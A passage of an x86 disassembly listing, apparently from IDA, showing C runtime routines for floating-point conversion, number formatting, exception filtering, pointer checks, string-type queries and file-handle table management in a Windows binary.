; ---------------------------------------------------------------------------
loc_414DCD: ; CODE XREF: sub_414D6D+4Cj
or ah, 4
loc_414DD0: ; CODE XREF: sub_414D6D+44j
; sub_414D6D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_414DE6
cmp ecx, 10000h
jnz short loc_414DE8
or eax, esi
jmp short loc_414DE8
; ---------------------------------------------------------------------------
loc_414DE6: ; CODE XREF: sub_414D6D+6Bj
or eax, edx
loc_414DE8: ; CODE XREF: sub_414D6D+73j
; sub_414D6D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_414DF5
or ah, 10h
locret_414DF5: ; CODE XREF: sub_414D6D+83j
retn
sub_414D6D endp
; =============== S U B R O U T I N E =======================================
sub_414DF6 proc near ; CODE XREF: sub_414E95+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_414E3B
inc esi
cmp esi, 3
jge short loc_414E36
lea eax, [eax+esi*4]
loc_414E28: ; CODE XREF: sub_414DF6+3Ej
cmp dword ptr [eax], 0
jnz short loc_414E3B
inc esi
add eax, 4
cmp esi, 3
jl short loc_414E28
loc_414E36: ; CODE XREF: sub_414DF6+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_414E3B: ; CODE XREF: sub_414DF6+27j
; sub_414DF6+35j
xor eax, eax
pop esi
retn
sub_414DF6 endp
; =============== S U B R O U T I N E =======================================
sub_414E3F proc near ; CODE XREF: sub_414E95+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_416196
add esp, 0Ch
dec esi
js short loc_414E91
lea edi, [ebx+esi*4]
loc_414E78: ; CODE XREF: sub_414E3F+50j
test eax, eax
jz short loc_414E91
push edi
push 1
push dword ptr [edi]
call sub_416196
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_414E78
loc_414E91: ; CODE XREF: sub_414E3F+34j
; sub_414E3F+3Bj
pop edi
pop esi
pop ebx
retn
sub_414E3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E95 proc near ; CODE XREF: sub_414FF0+81p
; sub_414FF0+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_414EF9
inc ebx
push ebx
push [ebp+arg_0]
call sub_414DF6
pop ecx
test eax, eax
pop ecx
jnz short loc_414EF6
push edi
push [ebp+arg_0]
call sub_414E3F
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_414EF6: ; CODE XREF: sub_414E95+51j
mov eax, [ebp+arg_4]
loc_414EF9: ; CODE XREF: sub_414E95+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_414F19
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_414F19: ; CODE XREF: sub_414E95+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_414E95 endp
; =============== S U B R O U T I N E =======================================
sub_414F21 proc near ; CODE XREF: sub_414FF0+75p
; sub_414FF0+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_414F2F: ; CODE XREF: sub_414F21+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_414F2F
pop esi
retn
sub_414F21 endp
; =============== S U B R O U T I N E =======================================
sub_414F3C proc near ; CODE XREF: sub_414FF0+5Fp
; sub_414FF0+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_414F3C endp
; =============== S U B R O U T I N E =======================================
sub_414F48 proc near ; CODE XREF: sub_414FF0+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_414F4E: ; CODE XREF: sub_414F48+12j
cmp dword ptr [eax], 0
jnz short loc_414F60
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_414F4E
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_414F60: ; CODE XREF: sub_414F48+9j
xor eax, eax
retn
sub_414F48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F63 proc near ; CODE XREF: sub_414FF0+C0p
; sub_414FF0+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_414F99: ; CODE XREF: sub_414F63+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_414F99
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_414FCB: ; CODE XREF: sub_414F63+86j
cmp ebx, edi
jl short loc_414FDE
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_414FE5
; ---------------------------------------------------------------------------
loc_414FDE: ; CODE XREF: sub_414F63+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_414FE5: ; CODE XREF: sub_414F63+79j
dec ebx
sub ecx, 4
jns short loc_414FCB
pop edi
pop esi
pop ebx
leave
retn
sub_414F63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FF0 proc near ; CODE XREF: sub_41515C+Dp
; sub_415172+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41505D
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_414F48
test eax, eax
pop ecx
jnz loc_41511C
lea eax, [ebp+var_C]
push eax
call sub_414F3C
pop ecx
loc_415055: ; CODE XREF: sub_414FF0+E4j
push 2
loc_415057: ; CODE XREF: sub_414FF0+110j
pop eax
jmp loc_41511E
; ---------------------------------------------------------------------------
loc_41505D: ; CODE XREF: sub_414FF0+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_414F21
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_414E95
add esp, 10h
test eax, eax
jz short loc_41507E
inc ebx
loc_41507E: ; CODE XREF: sub_414FF0+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_415096
lea eax, [ebp+var_C]
push eax
call sub_414F3C
pop ecx
jmp short loc_4150D2
; ---------------------------------------------------------------------------
loc_415096: ; CODE XREF: sub_414FF0+98j
cmp ebx, eax
jg short loc_4150D9
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_414F21
lea eax, [ebp+var_C]
push esi
push eax
call sub_414F63
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_414E95
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_414F63
add esp, 20h
loc_4150D2: ; CODE XREF: sub_414FF0+A4j
xor esi, esi
jmp loc_415055
; ---------------------------------------------------------------------------
loc_4150D9: ; CODE XREF: sub_414FF0+A8j
cmp ebx, [edi]
jl short loc_415105
lea eax, [ebp+var_C]
push eax
call sub_414F3C
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_414F63
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_415057
; ---------------------------------------------------------------------------
loc_415105: ; CODE XREF: sub_414FF0+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_414F63
pop ecx
pop ecx
loc_41511C: ; CODE XREF: sub_414FF0+55j
xor eax, eax
loc_41511E: ; CODE XREF: sub_414FF0+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41514D
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_415157
; ---------------------------------------------------------------------------
loc_41514D: ; CODE XREF: sub_414FF0+14Ej
cmp edi, 20h
jnz short loc_415157
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_415157: ; CODE XREF: sub_414FF0+15Bj
; sub_414FF0+160j
pop edi
pop esi
pop ebx
leave
retn
sub_414FF0 endp
; =============== S U B R O U T I N E =======================================
sub_41515C proc near ; CODE XREF: sub_415188+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_422618
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_414FF0
add esp, 0Ch
retn
sub_41515C endp
; =============== S U B R O U T I N E =======================================
sub_415172 proc near ; CODE XREF: sub_4151B5+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_422630
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_414FF0
add esp, 0Ch
retn
sub_415172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415188 proc near ; CODE XREF: sub_411E6E+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_416337
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41515C
add esp, 24h
leave
retn
sub_415188 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151B5 proc near ; CODE XREF: sub_411E6E+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_416337
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_415172
add esp, 24h
leave
retn
sub_4151B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151E2 proc near ; CODE XREF: sub_411EAC+65p
; sub_411FB0+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41521F
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_415205: ; CODE XREF: sub_4151E2+38j
mov dl, [ecx]
test dl, dl
jz short loc_415211
movsx edx, dl
inc ecx
jmp short loc_415214
; ---------------------------------------------------------------------------
loc_415211: ; CODE XREF: sub_4151E2+27j
push 30h
pop edx
loc_415214: ; CODE XREF: sub_4151E2+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_415205
mov edx, [ebp+arg_8]
loc_41521F: ; CODE XREF: sub_4151E2+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_415238
cmp byte ptr [ecx], 35h
jl short loc_415238
loc_41522B: ; CODE XREF: sub_4151E2+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_415236
mov byte ptr [eax], 30h
jmp short loc_41522B
; ---------------------------------------------------------------------------
loc_415236: ; CODE XREF: sub_4151E2+4Dj
inc byte ptr [eax]
loc_415238: ; CODE XREF: sub_4151E2+42j
; sub_4151E2+47j
cmp byte ptr [esi], 31h
jnz short loc_415242
inc dword ptr [edx+4]
jmp short loc_415254
; ---------------------------------------------------------------------------
loc_415242: ; CODE XREF: sub_4151E2+59j
push edi
call sub_40CBC0
inc eax
push eax
push edi
push esi
call sub_40D460
add esp, 10h
loc_415254: ; CODE XREF: sub_4151E2+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4151E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415259 proc near ; CODE XREF: sub_411EAC+3Fp
; sub_411FB0+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_4152BD
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_481F88
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_416808
mov dword_481FB0, eax
add esp, 18h
movsx eax, byte_481F8A
mov dword_481FA8, eax
pop edi
movsx eax, word_481F88
mov dword_481FAC, eax
mov dword_481FB4, offset dword_481F8C
mov eax, offset dword_481FA8
pop esi
leave
retn
sub_415259 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152BD proc near ; CODE XREF: sub_415259+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41530B
cmp ebx, edi
jz short loc_415304
lea edi, [ecx+3C00h]
jmp short loc_41532C
; ---------------------------------------------------------------------------
loc_415304: ; CODE XREF: sub_4152BD+3Dj
mov edi, 7FFFh
jmp short loc_41532C
; ---------------------------------------------------------------------------
loc_41530B: ; CODE XREF: sub_4152BD+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_415323
cmp edx, ebx
jnz short loc_415323
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41536E
; ---------------------------------------------------------------------------
loc_415323: ; CODE XREF: sub_4152BD+52j
; sub_4152BD+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41532C: ; CODE XREF: sub_4152BD+45j
; sub_4152BD+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_415344: ; CODE XREF: sub_4152BD+A6j
test ecx, esi
jnz short loc_415365
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_415344
; ---------------------------------------------------------------------------
loc_415365: ; CODE XREF: sub_4152BD+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41536E: ; CODE XREF: sub_4152BD+64j
pop edi
pop esi
pop ebx
leave
retn
sub_4152BD endp
; ---------------------------------------------------------------------------
push 2
call sub_40EC7A
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_41537C proc near ; DATA XREF: .nsp0:004153C2o
; .nsp0:00421DE8o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41539F
cmp dword ptr [eax+10h], 3
jnz short loc_41539F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41539F
jmp sub_412A3C
; ---------------------------------------------------------------------------
loc_41539F: ; CODE XREF: sub_41537C+Dj
; sub_41537C+13j ...
mov eax, dword_481FB8
test eax, eax
jz short loc_4153BC
push eax
call sub_415418
test eax, eax
pop ecx
jz short loc_4153BC
push esi
call dword_481FB8
jmp short loc_4153BE
; ---------------------------------------------------------------------------
loc_4153BC: ; CODE XREF: sub_41537C+2Aj
; sub_41537C+35j
xor eax, eax
loc_4153BE: ; CODE XREF: sub_41537C+3Ej
pop esi
retn 4
sub_41537C endp
; ---------------------------------------------------------------------------
push offset sub_41537C
call dword_41802C ; SetUnhandledExceptionFilter
mov dword_481FB8, eax
retn
; ---------------------------------------------------------------------------
loc_4153D3: ; DATA XREF: .nsp0:0041A038o
push dword_481FB8
call dword_41802C ; SetUnhandledExceptionFilter
retn
; =============== S U B R O U T I N E =======================================
sub_4153E0 proc near ; CODE XREF: sub_412284+6Bp
; sub_412795+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_418028 ; IsBadReadPtr
test eax, eax
jz short loc_4153F8
xor esi, esi
loc_4153F8: ; CODE XREF: sub_4153E0+14j
mov eax, esi
pop esi
retn
sub_4153E0 endp
; =============== S U B R O U T I N E =======================================
sub_4153FC proc near ; CODE XREF: sub_412795+73p
; sub_412795+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_418148 ; IsBadWritePtr
test eax, eax
jz short loc_415414
xor esi, esi
loc_415414: ; CODE XREF: sub_4153FC+14j
mov eax, esi
pop esi
retn
sub_4153FC endp
; =============== S U B R O U T I N E =======================================
sub_415418 proc near ; CODE XREF: sub_412795+15Bp
; sub_41537C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_418024 ; IsBadCodePtr
test eax, eax
jz short loc_41542C
xor esi, esi
loc_41542C: ; CODE XREF: sub_415418+10j
mov eax, esi
pop esi
retn
sub_415418 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_412A3C
loc_415430: ; CODE XREF: sub_412A3C:loc_412A8Dj
push 0Ah
call sub_414679
push 16h
call sub_416A9B
pop ecx
pop ecx
push 3
call sub_40E7C3
; END OF FUNCTION CHUNK FOR sub_412A3C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415447 proc near ; CODE XREF: sub_412B49+5Ep
; sub_4138B8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418B78
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_481FBC
xor ebx, ebx
cmp eax, ebx
jnz short loc_4154B6
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_418868
push esi
call dword_41801C ; GetStringTypeW
test eax, eax
jz short loc_415494
mov eax, esi
jmp short loc_4154B1
; ---------------------------------------------------------------------------
loc_415494: ; CODE XREF: sub_415447+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4242EC
push esi
push ebx
call dword_418020 ; GetStringTypeA
test eax, eax
jz loc_41557C
push 2
pop eax
loc_4154B1: ; CODE XREF: sub_415447+4Bj
mov dword_481FBC, eax
loc_4154B6: ; CODE XREF: sub_415447+2Fj
cmp eax, 2
jnz short loc_4154DF
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_4154C7
mov eax, dword_481E4C
loc_4154C7: ; CODE XREF: sub_415447+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_418020 ; GetStringTypeA
jmp loc_41557E
; ---------------------------------------------------------------------------
loc_4154DF: ; CODE XREF: sub_415447+72j
cmp eax, 1
jnz loc_41557C
cmp [ebp+arg_10], ebx
jnz short loc_4154F5
mov eax, dword_481E5C
mov [ebp+arg_10], eax
loc_4154F5: ; CODE XREF: sub_415447+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_4180CC ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41557C
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40CCA0
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_40CC40
add esp, 0Ch
jmp short loc_41554B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41554B: ; CODE XREF: sub_415447+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41557C
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_4180CC ; MultiByteToWideChar
cmp eax, ebx
jz short loc_41557C
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_41801C ; GetStringTypeW
jmp short loc_41557E
; ---------------------------------------------------------------------------
loc_41557C: ; CODE XREF: sub_415447+61j
; sub_415447+9Bj ...
xor eax, eax
loc_41557E: ; CODE XREF: sub_415447+93j
; sub_415447+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_415447 endp
; =============== S U B R O U T I N E =======================================
sub_415590 proc near ; CODE XREF: sub_4157AA:loc_415922p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4830E0
loc_41559F: ; CODE XREF: sub_415590+48j
mov eax, [ecx]
test eax, eax
jz short loc_4155DC
lea edx, [eax+100h]
loc_4155AB: ; CODE XREF: sub_415590+28j
cmp eax, edx
jnb short loc_4155CB
test byte ptr [eax+4], 1
jz short loc_4155BA
add eax, 8
jmp short loc_4155AB
; ---------------------------------------------------------------------------
loc_4155BA: ; CODE XREF: sub_415590+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41561F
loc_4155CB: ; CODE XREF: sub_415590+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4831E0
jl short loc_41559F
jmp short loc_41561F
; ---------------------------------------------------------------------------
loc_4155DC: ; CODE XREF: sub_415590+13j
mov esi, 100h
push esi
call sub_40CCCF
test eax, eax
pop ecx
jz short loc_41561F
add dword_4831E0, 20h
lea ecx, ds:4830E0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_415602: ; CODE XREF: sub_415590+88j
cmp eax, edx
jnb short loc_41561A
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_415602
; ---------------------------------------------------------------------------
loc_41561A: ; CODE XREF: sub_415590+74j
shl edi, 5
mov ebx, edi
loc_41561F: ; CODE XREF: sub_415590+39j
; sub_415590+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_415590 endp
; =============== S U B R O U T I N E =======================================
sub_415625 proc near ; CODE XREF: sub_4157AA+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4831E0
push edi
jnb short loc_415685
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4830E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_415685
cmp dword_41FC74, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41567B
sub eax, 0
jz short loc_415672
dec eax
jz short loc_41566D
dec eax
jnz short loc_41567B
push ebx
push 0FFFFFFF4h
jmp short loc_415675
; ---------------------------------------------------------------------------
loc_41566D: ; CODE XREF: sub_415625+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_415675
; ---------------------------------------------------------------------------
loc_415672: ; CODE XREF: sub_415625+3Bj
push ebx
push 0FFFFFFF6h
loc_415675: ; CODE XREF: sub_415625+46j
; sub_415625+4Bj
call dword_418018 ; SetStdHandle
loc_41567B: ; CODE XREF: sub_415625+36j
; sub_415625+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_415699
; ---------------------------------------------------------------------------
loc_415685: ; CODE XREF: sub_415625+Cj
; sub_415625+28j
and dword_481DC0, 0
mov dword_481DBC, 9
or eax, 0FFFFFFFFh
loc_415699: ; CODE XREF: sub_415625+5Ej
pop edi
pop esi
retn
sub_415625 endp
; =============== S U B R O U T I N E =======================================
sub_41569C proc near ; CODE XREF: sub_412BBE+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4831E0
push edi
jnb short loc_4156FF
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4830E0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_4156FF
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4156FF
cmp dword_41FC74, 1
jnz short loc_4156F5
xor eax, eax
sub ecx, eax
jz short loc_4156EC
dec ecx
jz short loc_4156E7
dec ecx
jnz short loc_4156F5
push eax
push 0FFFFFFF4h
jmp short loc_4156EF
; ---------------------------------------------------------------------------
loc_4156E7: ; CODE XREF: sub_41569C+41j
push eax
push 0FFFFFFF5h
jmp short loc_4156EF
; ---------------------------------------------------------------------------
loc_4156EC: ; CODE XREF: sub_41569C+3Ej
push eax
push 0FFFFFFF6h
loc_4156EF: ; CODE XREF: sub_41569C+49j
; sub_41569C+4Ej
call dword_418018 ; SetStdHandle
loc_4156F5: ; CODE XREF: sub_41569C+38j
; sub_41569C+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_415713
; ---------------------------------------------------------------------------
loc_4156FF: ; CODE XREF: sub_41569C+Cj
; sub_41569C+2Aj ...
and dword_481DC0, 0
mov dword_481DBC, 9
or eax, 0FFFFFFFFh
loc_415713: ; CODE XREF: sub_41569C+61j
pop edi
pop esi
retn
sub_41569C endp
; =============== S U B R O U T I N E =======================================
sub_415716 proc near ; CODE XREF: sub_412BBE+32p
; sub_412BBE+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4831E0
jnb short loc_41573E
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4830E0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41573E
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41573E: ; CODE XREF: sub_415716+Aj
; sub_415716+23j
and dword_481DC0, 0
